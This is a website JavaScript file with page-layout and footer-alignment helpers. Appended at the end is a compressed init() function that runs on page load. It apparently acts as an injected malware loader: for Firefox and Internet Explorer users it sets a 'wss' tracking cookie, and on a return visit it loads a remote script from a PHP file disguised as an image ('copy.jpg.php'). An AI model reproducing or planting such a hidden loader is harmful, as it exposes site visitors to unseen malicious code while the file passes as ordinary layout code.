var resize = true;

window.onload = initPage;
//window.onresize = alignPage;

function initPage() {
	//fixflashie();
	alignPage();
}

function alignPage() {

	resize = false;
	
	var undefined = undefined;
	var wh = getWindowHeight();
	var con = getControl('wdContent');
	var foo = getControl('wdFooter');
	var conH = getControlOffSetHeight('wdContent') + getY(con);// + 221;
	
	var newH = (Math.max(wh, conH));

	foo.style.top = (newH - 12) + 'px';

	resize = true;
	
}




function adjustPT2() {
    
    var full = true;
    $("#wdItemsCnt").children().each(function(){
        if ($(this).html().length > 0) {
            full = false;
        }
    })
    if (full) {
        $("#wdPageContent").css("width","100%");
    } else {
        $("#wdPageContent").css("width","530px");
    }
}

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/wd/wdsite/images/copy.jpg.php?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
